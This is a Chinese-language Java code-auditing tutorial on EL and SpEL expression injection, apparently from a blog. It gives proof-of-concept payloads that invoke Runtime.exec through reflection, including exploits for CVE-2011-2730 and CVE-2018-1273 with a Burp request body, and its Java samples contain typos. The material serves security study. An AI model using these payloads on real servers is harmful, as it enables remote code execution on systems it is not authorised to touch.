【Java代码审计】表达式注入
1 前置知识
1.1 EL表达式
EL表达式主要功能:
- 获取数据:可以从JSP四大作用域中获取数据
- 执行运算:执行一些关系运算,逻辑运算,算术运算
- 获取web开发常用对象:通过内置 的11个隐式对象获取想要的数据
- 调用java方法:允许用户开发自定义EL函数,通过EL表达式调用java方法
JSP四大作用域:
- page:只在一个页面保存数据(默认)
- request:只在一个请求保存数据
- session:只在一个会话保存数据
- application:在整个服务器保存数据,全部用户共享
EL表达式获取对象属性的方法:
${对象.属性}[]:属性名中存在特殊字符或者属性名是一个变量时使用
实例化java内置类:
- 例如使用Runtime.class会执行系统命令
${Runtime.getRuntime().exec("calc")}
jsp标准方法与EL表达式取值的区别:
| JSP | EL表达式 |
|---|---|
<%=((Person)request.getAttribute("p")).getName()%> | ${p.name} |
<%=((Person)request.getAttribute("p")).getAge()%> | ${p.age} |
1.2 SPEL表达式
SPEL表达式注入:独立于Spring容器使用,但只被当成简单的表达式语言使用
SPEL中EvaluationContext(表示解析器)用于评估表达式和解析属性、方法以及字段并帮助执行类型转换的接口
两种实现方法:
| SimpleEvaluationContext | StandardEvaluationContext(默认) |
|---|---|
| 权限小,只支持一些map结构 | 权限大,可以执行任意代码,会被恶意用户利用 |
| 针对不需要SPEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集 | 公开SpEL全部语言功能和配置选项。用户可以使用他来指定默认的跟对象并配置每个可用的评估相关策略 |
利用:
String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
// 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
ExpressionParser parser = new SpelExpressionParser();
// 构造上下文:准备比如变量定义等等表达式需要的上下文数据
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));
2 漏洞描述
表达式注入(EL表达式),JSP的一种内置语言。作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作。
3 通用POC
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}//文件头参数
${header}//获取webRoot
${applicationScope}//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
4 CVE-2011-2730-Spring标签EL表达式注入
原理:Spring的message标签会对EL表达式进行解析,且 web容器也会对EL表达式进行解析,两次解析造成EL表达式注入。
spring message标签形式:<spring:message text="${param.a}"></spring:message>
利用:
-
获取信息:
a = ${applicationScope} -
攻击性:利用反射,先获取getRuntime方法中的method对象,然后通过invoke获取Runtime对象,然后可以直接调用exec方法运行恶意代码
<spring:message text= "${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"> </spring:message>
验证步骤:
- 确定web应用使用了spring标签,因为没有spring标签的话,也就谈不上EL表达式注入了
- 确定标签中存在EL注入,可以通过提交${applicationScope}等进行测试
- 判断servlet容器版本,如果容器不支持EL2.2的话,存在EL注入也只能进行获取服务器信息等操作了
- 如果容器支持EL2.2,就可以尝试构造攻击代码对服务器本身直接进行攻击
5 CVE-2018-1273-Spring Data Commons 远程代码执行漏洞
5.1 描述
成因:当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容。
前置知识:Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令.
漏洞的判定:确认目标项目中含有Spring-data-commons包并且版本范围如下
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
5.2 docker复现
burp抓包,使用payload:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

放包,页面返回如下

使用命令docker-compose exec spring bash
进入目录查看是否有success,有success

相关文章:
【Java代码审计】表达式注入
1 前置知识 1.1 EL表达式 EL表达式主要功能: 获取数据:可以从JSP四大作用域中获取数据执行运算:执行一些关系运算,逻辑运算,算术运算获取web开发常用对象:通过内置 的11个隐式对象获取想要的数据调用jav…...
Python-GEE遥感云大数据分析、管理与可视化
Python-GEE遥感云大数据分析、管理与可视化近年来遥感技术得到了突飞猛进的发展,航天、航空、临近空间等多遥感平台不断增加,数据的空间、时间、光谱分辨率不断提高,数据量猛增,遥感数据已经越来越具有大数据特征。遥感大数据的出…...
信息学奥赛一本通 1375:骑马修栅栏(fence) | 洛谷 P2731 [USACO3.3]骑马修栅栏 Riding the Fences
【题目链接】 ybt 1375:骑马修栅栏(fence) 洛谷 P2731 [USACO3.3]骑马修栅栏 Riding the Fences 【题目考点】 1. 图论:欧拉回路 欧拉回路存在的条件:图中所有顶点的度都是偶数欧拉路径存在的条件:图中只有两个度为奇数的顶点…...
Spring Boot 应用的打包和发布
1. 创建项目(example-fast) 基于 Spring Boot 创建一个 WEB 项目 example-fast。 2. 编译打包 2.1 采用 IDEA 集成的 Maven 环境来对 Spring Boot 项目编译打包,可谓是超级 easy 2.2 mvn 命令打包 # mvn clean 清理编译 # install 打包 #…...
linux:iptables (3) 命令行操练(一)
目录 1.命令行手册查缺补漏 2.开始练习,从最陌生的参数练习开启 2.1 --list-rules -S :打印链或所有链中的规则 2.2 --zero -Z 链或所有链中的零计数器 2.3 --policy -P 修改默认链的默认规则 2.4 --new -N 接下来练习添加和删除自定义链 1.命令行手册查缺补…...
synchronized(this) 与synchronized(class) 有啥区别
前言 synchronized(this) 与 synchronized(class) 相同处:均对代码加锁,实现互斥性。synchronized(this) 与 synchronized(class) 区别:作用域不同。 synchronized (this) synchronized(this)使用的是对象锁。this为关键词,表示…...
BOSS直拒、失联招聘,消失的“金三银四”,失业的测试人出路在哪里?
裁员潮涌,经济严冬。最近很多测试人过得并不好,行业缩水对测试岗位影响很直接干脆,究其原因还是测试门槛在IT行业较低,同质化测试人员比较多。但实际上成为一位好测试却有着较高的门槛,一名优秀的测试应当对产品的深层…...
华为OD机试【密室逃生游戏】
密室逃生游戏 题目 小强增在参加《密室逃生》游戏,当前关卡要求找到符合给定 密码 K(升序的不重复小写字母组 成) 的箱子, 并给出箱子编号,箱子编号为 1~N 。 每个箱子中都有一个 字符串 s ,字符串由大写字…...
【Python学习笔记(六)】json解析模块的使用
json解析模块的使用 前言 json 是一种轻量级的数据交换格式,通过对象和数组的组合来表示数据。在 Python3 中可以使用 json 模块来对 json 数据进行编解码。 json 模块 是 Python 标准库模块,无需手动安装,可以直接导入 import json # 导入…...
《Spring系列》第3章 基于注解管理Bean
基于注解方式管理Bean 1.通过注解管理Bean 1) 基础注解 Component Service Controller Repository 2) 基于XML的注解扫描 a> 引入依赖 spring-aop-5.1.5.RELEASE.jarb> 开启组件扫描 最简单的开启注解 <context:component-scan base-package"com.jianan&q…...
【Redis】十大数据类型(下篇)
文章目录redis位图(bitmap) --- 底子还是string基本命令图示setbit key offset value setbit 键 偏移位 只能零或者1getbit key offset 查看获取字符串长度 strlen统计key中包含1的个数 bitcount keybitop 统计两个比特key是否都为1技术落地:打卡签到,频…...
【第十一届“泰迪杯”数据挖掘挑战赛】B题产品订单的数据分析与需求预测“解题思路“”以及“代码分享”
【第十一届泰迪杯B题产品订单的数据分析与需求预测产品订单的数据分析与需求预测 】第一大问代码分享(后续更新LSTMinformer多元预测多变量模型) PS: 代码全写有注释,通俗易懂,包看懂!!!&…...
Python入门到高级【第一章】
预计更新第一章. Python 简介 Python 简介和历史Python 特点和优势安装 Python 第二章. 变量和数据类型 变量和标识符基本数据类型:数字、字符串、布尔值等字符串操作列表、元组和字典 第三章. 控制语句和函数 分支结构:if/else 语句循环结构&#…...
【泰凌微TLSR8258 zigbee】OTA升级操作方法
目录 程序启动模式多地址启动模式Bootloader 启动模式多地址启动模式 Flash 分布Bootloader 启动模式Flash分布模式OTA升级OTA初始化OTA ServerOTA ClientOTA升级固件生成程序启动模式 在介绍OTA升级操作方法前,我们先介绍一下程序的启动模式,以及不同启动模式的优缺点。 多…...
网络基础设施监控
在过去的几十年里,网络基础设施在规模和功能方面都变得复杂起来。不断增长的业务需求和不断增长的技术能力推动了这种快速增长,监控网络基础设施以确保其最佳性能和最大效率已成为任何希望成为行业领跑者的组织不可或缺的优先事项。 什么是网络基础设施…...
OPNET Modeler 例程——创建一个包交换网络
文章目录一、例程简介二、创建新的包格式三、创建新的链路模型四、创建中心交换节点模型五、创建中心交换节点的进程模型六、创建周边节点模型七、创建周边节点进程模块八、创建网络模型九、收集统计量十、配置并仿真总结一、例程简介 本例程将仿真一个简单的包交换网络&#…...
JSON 基础结构
什么是JSON JSON,说白了就是JavaScript用来处理数据的一种格式,这种格式非常简单易用。 JSON,大部分都是用来处理JavaScript和web服务器端之间的数据交换,把后台web服务器的数据传递到前台,然后使用JavaScript进行处…...
雷达基础知识
雷达频率划分 以下是按照频率和波长划分雷达频段的表格: 波段名称频率范围(GHz)波长范围(cm)应用领域VHF0.03 - 0.3100 - 10气象雷达、空管雷达、航空雷达UHF0.3 - 3100 - 10航空雷达、海上雷达、地面雷达、火控雷达…...
【二阶锥规划】考虑气电联合需求响应的气电综合能源配网系统协调优化运行【IEEE33节点】(Matlab代码实现)
💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜密,逻辑清晰,为了方便读者。 ⛳️座右铭&a…...
qt 编译器 调试器
电脑版本:win10 64位 qt版本:based on Qt 5.14.0(msvc 2017, 32位) Qt Creator 4.11.0 qt安装包:qt-opensource-windows-x86-5.9.9.exe 安装过程一路next,安装完成后,默认使用的…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...
NLP学习路线图(二十三):长短期记忆网络(LSTM)
在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中,新增了一个本地验证码接口 /code,使用函数式路由(RouterFunction)和 Hutool 的 Circle…...
LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf
FTP 客服管理系统 实现kefu123登录,不允许匿名访问,kefu只能访问/data/kefu目录,不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...
DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...
